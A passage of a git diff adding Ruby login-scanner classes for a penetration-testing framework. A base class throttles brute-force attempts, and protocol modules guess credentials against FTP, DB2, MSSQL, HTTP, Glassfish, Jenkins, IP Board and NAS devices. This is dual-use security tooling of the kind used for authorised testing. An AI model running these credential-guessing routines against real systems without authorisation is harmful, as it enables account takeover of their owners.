'slow.' + attr_accessor :bruteforce_speed + + validates :connection_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :cred_details, presence: true + + validates :host, presence: true + + validates :port, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1, + less_than_or_equal_to: 65535 + } + + validates :stop_on_success, + inclusion: { in: [true, false] } + + validates :bruteforce_speed, + numericality: { + allow_nil: true, + only_integer: true, + greater_than_or_equal_to: 0, + less_than_or_equal_to: 5 + } + + validate :host_address_must_be_valid + + validate :validate_cred_details + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + set_sane_defaults + end + + # Attempt a single login against the service with the given + # {Credential credential}. + # + # @param credential [Credential] The credential object to attmpt to + # login with + # @return [Result] A Result object indicating success or failure + # @abstract Protocol-specific scanners must implement this for their + # respective protocols + def attempt_login(credential) + raise NotImplementedError + end + + # @note Override this to detect that the service is up, is the right + # version, etc. + # @return [false] Indicates there were no errors + # @return [String] a human-readable error message describing why + # this scanner can't run + def check_setup + false + end + + # @note Override this to set a timeout that makes more sense for + # your particular protocol. Telnet already usually takes a really + # long time, while MSSQL is often lickety-split quick. If + # overridden, the override should probably do something sensible + # with {#bruteforce_speed} + # + # @return [Fixnum] a number of seconds to sleep between attempts + def sleep_time + case bruteforce_speed + when 0; 60 * 5 + when 1; 15 + when 2; 1 + when 3; 0.5 + when 4; 0.1 + else; 0 + end + end + + # A threadsafe sleep method + # + # @param time [Fixnum] number of seconds (can be a Float), defaults + # to {#sleep_time} + # + # @return [void] + def sleep_between_attempts(time=self.sleep_time) + ::IO.select(nil,nil,nil,time) unless sleep_time.zero? + end + + def each_credential + cred_details.each do |raw_cred| + + # This could be a Credential object, or a Credential Core, or an Attempt object + # so make sure that whatever it is, we end up with a Credential. + credential = raw_cred.to_credential + + if credential.realm.present? && self.class::REALM_KEY.present? + # The class's realm_key will always be the right thing for the + # service it knows how to login to. Override the credential's + # realm_key if one exists for the class. This can happen for + # example when we have creds for DB2 and want to try them + # against Postgres. + credential.realm_key = self.class::REALM_KEY + yield credential + elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present? + # XXX: This is messing up the display for mssql when not using + # Windows authentication, e.g.: + # [+] 10.0.0.53:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:msfadmin + # Realm gets ignored in that case, so it still functions, it + # just gives the user bogus info + credential.realm_key = self.class::REALM_KEY + credential.realm = self.class::DEFAULT_REALM + yield credential + elsif credential.realm.present? && self.class::REALM_KEY.blank? + second_cred = credential.dup + # This service has no realm key, so the realm will be + # meaningless. Strip it off. + credential.realm = nil + credential.realm_key = nil + yield credential + # Some services can take a domain in the username like this even though + # they do not explicitly take a domain as part of the protocol. + # e.g., telnet + second_cred.public = "#{second_cred.realm}\\#{second_cred.public}" + second_cred.realm = nil + second_cred.realm_key = nil + yield second_cred + else + yield credential + end + end + end + + # Attempt to login with every {Credential credential} in + # {#cred_details}, by calling {#attempt_login} once for each. + # + # If a successful login is found for a user, no more attempts + # will be made for that user. + # + # @yieldparam result [Result] The {Result} object for each attempt + # @yieldreturn [void] + # @return [void] + def scan! + valid! + + # Keep track of connection errors. + # If we encounter too many, we will stop. + consecutive_error_count = 0 + total_error_count = 0 + + successful_users = Set.new + first_attempt = true + + each_credential do |credential| + # Skip users for whom we've have already found a password + if successful_users.include?(credential.public) + # For Pro bruteforce Reuse and Guess we need to note that we + # skipped an attempt. + if credential.parent.respond_to?(:skipped) + credential.parent.skipped = true + credential.parent.save! + end + next + end + + if first_attempt + first_attempt = false + else + sleep_between_attempts + end + + result = attempt_login(credential) + result.freeze + + yield result if block_given? + + if result.success? + consecutive_error_count = 0 + break if stop_on_success + successful_users << credential.public + else + if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + consecutive_error_count += 1 + total_error_count += 1 + break if consecutive_error_count >= 3 + break if total_error_count >= 10 + end + end + end + nil + end + + # Raise an exception if this scanner's attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::LoginScanner::Invalid.new(self) + end + nil + end + + + private + + # This method validates that the host address is both + # of a valid type and is resolveable. + # @return [void] + def host_address_must_be_valid + if host.kind_of? String + begin + resolved_host = ::Rex::Socket.getaddress(host, true) + if host =~ /^\d{1,3}(\.\d{1,3}){1,3}$/ + unless host =~ Rex::Socket::MATCH_IPV4 + errors.add(:host, "could not be resolved") + end + end + self.host = resolved_host + rescue + errors.add(:host, "could not be resolved") + end + else + errors.add(:host, "must be a string") + end + end + + # This is a placeholder method. Each LoginScanner class + # will override this with any sane defaults specific to + # its own behaviour. + # @abstract + # @return [void] + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + end + + # This method validates that the credentials supplied + # are all valid. + # @return [void] + def validate_cred_details + unless cred_details.respond_to? :each + errors.add(:cred_details, "must respond to :each") + end + end + + end + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/buffalo.rb b/lib/metasploit/framework/login_scanner/buffalo.rb new file mode 100644 index 0000000000..53357aa227 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/buffalo.rb @@ -0,0 +1,65 @@ +require 'metasploit/framework/login_scanner/http' +require 'json' + +module Metasploit + module Framework + module LoginScanner + + # Buffalo Linkstation NAS login scanner + class Buffalo < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/dynamic.pl" if self.uri.nil? + self.method = "POST" if self.method.nil? + + super + end + + def attempt_login(credential) + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + begin + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli.connect + req = cli.request_cgi({ + 'method'=>'POST', + 'uri'=>'/dynamic.pl', + 'vars_post'=> { + 'bufaction'=>'verifyLogin', + 'user' => credential.public, + 'password'=>credential.private + } + }) + res = cli.send_recv(req) + body = JSON.parse(res.body) + if res && body.has_key?('success') && body['success'] + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) + end + rescue ::JSON::ParserError + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body) + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + Result.new(result_opts) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/db2.rb b/lib/metasploit/framework/login_scanner/db2.rb new file mode 100644 index 0000000000..31d9c7ec7f --- /dev/null +++ b/lib/metasploit/framework/login_scanner/db2.rb @@ -0,0 +1,139 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with DB2 Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class DB2 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 50000 + DEFAULT_REALM = 'toolsdb' + LIKELY_PORTS = [ DEFAULT_PORT ] + # @todo XXX + LIKELY_SERVICE_NAMES = [ ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::DB2_DATABASE + + # @see Base#attempt_login + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + probe_data = send_probe(credential.realm) + + if probe_data.empty? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if authenticate?(credential) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + end + rescue ::Rex::ConnectionError, ::Rex::Proto::DRDA::RespError, ::Timeout::Error => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e, + }) + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'db2' + result + end + + private + # This method takes the credential and actually attempts the authentication + # @param credential [Credential] The Credential object to authenticate with. + # @return [Boolean] Whether the authentication was successful + def authenticate?(credential) + # Send the login packet and get a response packet back + login_packet = Rex::Proto::DRDA::Utils.client_auth(:dbname => credential.realm, + :dbuser => credential.public, + :dbpass => credential.private + ) + sock.put login_packet + response = sock.get_once + if valid_response?(response) + if successful_login?(response) + true + else + false + end + else + false + end + end + + # This method opens a socket to the target DB2 server. + # It then sends a client probe on that socket to get information + # back on the server. + # @param database_name [String] The name of the database to probe + # @return [Hash] A hash containing the server information from the probe reply + def send_probe(database_name) + disconnect if self.sock + connect + + probe_packet = Rex::Proto::DRDA::Utils.client_probe(database_name) + sock.put probe_packet + response = sock.get_once + + response_data = {} + if valid_response?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + response_data = Rex::Proto::DRDA::Utils.server_packet_info(packet) + end + response_data + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + self.ssl = false if self.ssl.nil? + end + + # This method takes a response packet and checks to see + # if the authentication was actually successful. + # + # @param response [String] The unprocessed response packet + # @return [Boolean] Whether the authentication was successful + def successful_login?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + packet_info = Rex::Proto::DRDA::Utils.server_packet_info(packet) + if packet_info[:db_login_success] + true + else + false + end + end + + # This method provides a simple test on whether the response + # packet was valid. + # + # @param response [String] The response to examine from the socket + # @return [Boolean] Whether the response is valid + def valid_response?(response) + response && response.length > 0 + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ftp.rb b/lib/metasploit/framework/login_scanner/ftp.rb new file mode 100644 index 0000000000..6c8ad94028 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ftp.rb @@ -0,0 +1,80 @@ +require 'metasploit/framework/ftp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with FTP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class FTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Ftp::Client + + DEFAULT_PORT = 21 + LIKELY_PORTS = [ DEFAULT_PORT, 2121 ] + LIKELY_SERVICE_NAMES = [ 'ftp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute ftp_timeout + # @return [Fixnum] The timeout in seconds to wait for a response to an FTP command + attr_accessor :ftp_timeout + + validates :ftp_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + + + # (see Base#attempt_login) + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + success = connect_login(credential.public, credential.private) + rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + success = false + end + + + if success + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + elsif !(result_options.has_key? :status) + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'ftp' + result + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + self.ftp_timeout ||= 16 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb new file mode 100644 index 0000000000..ccd2fa559b --- /dev/null +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -0,0 +1,221 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The Glassfish HTTP LoginScanner class provides methods to do login routines + # for Glassfish 2, 3 and 4. + class Glassfish < HTTP + + DEFAULT_PORT = 4848 + PRIVATE_TYPES = [ :password ] + + # @!attribute [r] version + # @return [String] Glassfish version + attr_reader :version + + # @!attribute jsession + # @return [String] Cookie session + attr_accessor :jsession + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => '/common/index.jsf'}) + return "Connection failed" if res.nil? + if !([200, 302].include?(res.code)) + return "Unexpected HTTP response code #{res.code} (is this really Glassfish?)" + end + + # If remote login is enabled on 4.x, it redirects to https on the + # same port. + if !self.ssl && res.headers['Location'] =~ /^https:/ + self.ssl = true + res = send_request({'uri' => '/common/index.jsf'}) + if res.nil? + return "Connection failed after SSL redirection" + end + if res.code != 200 + return "Unexpected HTTP response code #{res.code} after SSL redirection (is this really Glassfish?)" + end + end + + res = send_request({'uri' => '/login.jsf'}) + return "Connection failed" if res.nil? + extract_version(res.headers['Server']) + + if @version.nil? || @version !~ /^[2349]/ + return "Unsupported version ('#{@version}')" + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Found a cookie? Set it. We're going to need it. + if res && res.get_cookies =~ /JSESSIONID=(\w*);/i + self.jsession = $1 + end + + res + end + + + # As of Sep 2014, if Secure Admin is disabled, it simply means the admin isn't allowed + # to login remotely. However, the authentication will still run and hint whether the + # password is correct or not. + # + # @param res [Rex::Proto::Http::Response] The HTTP auth response + # @return [boolean] True if disabled, otherwise false + def is_secure_admin_disabled?(res) + return (res.body =~ /Secure Admin must be enabled/i) ? true : false + end + + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_login(credential) + data = "j_username=#{Rex::Text.uri_encode(credential.public)}&" + data << "j_password=#{Rex::Text.uri_encode(credential.private)}&" + data << 'loginButton=Login' + + opts = { + 'uri' => '/j_security_check', + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "JSESSIONID=#{self.jsession}", + } + } + + send_request(opts) + end + + + # Tries to login to Glassfish version 2 + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_glassfish_2(credential) + res = try_login(credential) + if res && res.code == 302 + opts = { + 'uri' => '/applications/upload.jsf', + 'method' => 'GET', + 'headers' => { + 'Cookie' => "JSESSIONID=#{self.jsession}" + } + } + res = send_request(opts) + p = /Deploy Enterprise Applications\/Modules/ + if (res && res.code.to_i == 200 && res.body.match(p) != nil) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + + # Tries to login to Glassfish version 3 or 4 (as of now it's the latest) + # + # @param (see #try_glassfish_2) + # @return (see #try_glassfish_2) + def try_glassfish_3(credential) + res = try_login(credential) + if res && res.code == 302 + opts = { + 'uri' => '/common/applications/uploadFrame.jsf', + 'method' => 'GET', + 'headers' => { + 'Cookie' => "JSESSIONID=#{self.jsession}" + } + } + res = send_request(opts) + + p = /<title>Deploy Applications or Modules/ + if (res && res.code.to_i == 200 && res.body.match(p) != nil) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + elsif res && is_secure_admin_disabled?(res) + return {:status => Metasploit::Model::Login::Status::DENIED_ACCESS, :proof => res.body} + elsif res && res.code == 400 + return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => res.body} + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + case self.version + when /^[29]\.x$/ + status = try_glassfish_2(credential) + result_opts.merge!(status) + when /^[34]\./ + status = try_glassfish_3(credential) + result_opts.merge!(status) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + # + # Extract the target's glassfish version from the HTTP Server header + # (ex: Sun Java System Application Server 9.x) + # + # @param banner [String] `Server` header from a Glassfish service response + # @return [String] version string, e.g. '2.x' + # @return [nil] If the banner did not match any of the expected values + def extract_version(banner) + # Set version. Some GlassFish servers return banner "GlassFish v3". + if banner =~ /(GlassFish Server|Open Source Edition)[[:blank:]]*(\d\.\d)/ + @version = $2 + elsif banner =~ /GlassFish v(\d)/ + @version = $1 + elsif banner =~ /Sun GlassFish Enterprise Server v2/ + @version = '2.x' + elsif banner =~ /Sun Java System Application Server 9/ + @version = '9.x' + else + @version = nil + end + + return @version + end + + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb new file mode 100644 index 0000000000..ae49430656 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -0,0 +1,166 @@ +require 'rex/proto/http' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # + # HTTP-specific login scanner. + # + class HTTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + + DEFAULT_REALM = nil + DEFAULT_PORT = 80 + DEFAULT_SSL_PORT = 443 + LIKELY_PORTS = [ 80, 443, 8000, 8080 ] + LIKELY_SERVICE_NAMES = [ 'http', 'https' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute uri + # @return [String] The path and query string on the server to + # authenticate to. + attr_accessor :uri + + # @!attribute uri + # @return [String] HTTP method, e.g. "GET", "POST" + attr_accessor :method + + # @!attribute user_agent + # @return [String] the User-Agent to use for the HTTP requests + attr_accessor :user_agent + + # @!attribute vhost + # @return [String] the Virtual Host name for the target Web Server + attr_accessor :vhost + + + validates :uri, presence: true, length: { minimum: 1 } + + validates :method, + presence: true, + length: { minimum: 1 } + + # (see Base#check_setup) + def check_setup + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, proxies + ) + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method + ) + + begin + # Use _send_recv instead of send_recv to skip automatiu + # authentication + response = http_client._send_recv(request) + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + error_message = "Unable to connect to target" + end + + if !(response && response.code == 401 && response.headers['WWW-Authenticate']) + error_message = "No authentication required" + else + error_message = false + end + + error_message + end + + # Attempt a single login with a single credential against the target. + # + # @param credential [Credential] The credential object to attempt to + # login with. + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + ssl = false if ssl.nil? + + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, + proxies, credential.public, credential.private + ) + + http_client = config_client(http_client) + + if credential.realm + http_client.set_config('domain' => credential.realm) + end + + begin + http_client.connect + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method + ) + + response = http_client.send_recv(request) + if response && response.code == 200 + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + ensure + http_client.close + end + + Result.new(result_opts) + end + + private + + def config_client(client) + client.set_config( + 'vhost' => vhost || host, + 'agent' => user_agent + ) + client + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 20 + self.uri = '/' if self.uri.blank? + self.method = 'GET' if self.method.blank? + + # Note that this doesn't cover the case where ssl is unset and + # port is something other than a default. In that situtation, + # we don't know what the user has in mind so we have to trust + # that they're going to do something sane. + if !(self.ssl) && self.port.nil? + self.port = self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl && self.port.nil? + self.port = self.class::DEFAULT_SSL_PORT + elsif self.ssl.nil? && self.port == self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl.nil? && self.port == self.class::DEFAULT_SSL_PORT + self.ssl = true + end + + nil + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/invalid.rb b/lib/metasploit/framework/login_scanner/invalid.rb new file mode 100644 index 0000000000..e50607a569 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/invalid.rb @@ -0,0 +1,23 @@ +module Metasploit + module Framework + module LoginScanner + + # This class is the generic Exception raised by LoginScanners when + # they fail validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class Invalid < StandardError + + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + errors << " (#{model.class.to_s})" + super(errors) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ipboard.rb b/lib/metasploit/framework/login_scanner/ipboard.rb new file mode 100644 index 0000000000..c7c45e3f05 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ipboard.rb @@ -0,0 +1,105 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # IP Board login scanner + class IPBoard < HTTP + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, proxies + ) + + http_client = config_client(http_client) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + + nonce_request = http_client.request_cgi( + 'uri' => uri, + 'method' => 'GET' + ) + + nonce_response = http_client.send_recv(nonce_request) + + if nonce_response.body =~ /name='auth_key'\s+value='.*?((?:[a-z0-9]*))'/i + server_nonce = $1 + + if uri.end_with? '/' + base_uri = uri.gsub(/\/$/, '') + else + base_uri = uri + end + + auth_uri = "#{base_uri}/index.php" + + request = http_client.request_cgi( + 'uri' => auth_uri, + 'method' => 'POST', + 'vars_get' => { + 'app' => 'core', + 'module' => 'global', + 'section' => 'login', + 'do' => 'process' + }, + 'vars_post' => { + 'auth_key' => server_nonce, + 'ips_username' => credential.public, + 'ips_password' => credential.private + } + ) + + response = http_client.send_recv(request) + + if response && response.get_cookies.include?('ipsconnect') && response.get_cookies.include?('coppa') + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + + else + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Server nonce not present, potentially not an IP Board install or bad URI.") + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + + end + + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/forum/" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] + def method=(_) + raise RuntimeError, "Method must be POST for IPBoard" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb new file mode 100644 index 0000000000..c2f355251f --- /dev/null +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -0,0 +1,60 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Jenkins login scanner + class Jenkins < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 8080 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/j_acegi_security_check" if self.uri.nil? + self.method = "POST" if self.method.nil? + + super + end + + def attempt_login(credential) + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + begin + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli.connect + req = cli.request_cgi({ + 'method'=>'POST', + 'uri'=>'/j_acegi_security_check', + 'vars_post'=> { + 'j_username' => credential.public, + 'j_password'=>credential.private + } + }) + res = cli.send_recv(req) + if res && !res.headers['location'].include?('loginError') + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + Result.new(result_opts) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb new file mode 100644 index 0000000000..d7b5aa499e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -0,0 +1,78 @@ +require 'metasploit/framework/mssql/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Microsoft SQL Servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results + class MSSQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + include Metasploit::Framework::MSSQL::Client + + DEFAULT_PORT = 1433 + DEFAULT_REALM = 'WORKSTATION' + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_PORTS = [ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ] + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase' ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute windows_authentication + # @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth. + attr_accessor :windows_authentication + + validates :windows_authentication, + inclusion: { in: [true, false] } + + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'mssql' + } + + begin + if mssql_login(credential.public, credential.private, '', credential.realm) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + rescue ::Rex::ConnectionError + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + # Don't use ||= with booleans + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.use_lmkey = false if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + self.windows_authentication = false if self.windows_authentication.nil? + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mybook_live.rb b/lib/metasploit/framework/login_scanner/mybook_live.rb new file mode 100644 index 0000000000..2f32ebe304 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mybook_live.rb @@ -0,0 +1,61 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Western Digital MyBook Live login scanner + class MyBookLive < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = '/UI/login' if self.uri.nil? + self.method = 'POST' if self.method.nil? + + super + end + + def attempt_login(credential) + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + begin + cred = Rex::Text.uri_encode(credential.private) + body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}" + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli.connect + req = cli.request_cgi( + 'method' => method, + 'uri' => uri, + 'data' => body + ) + res = 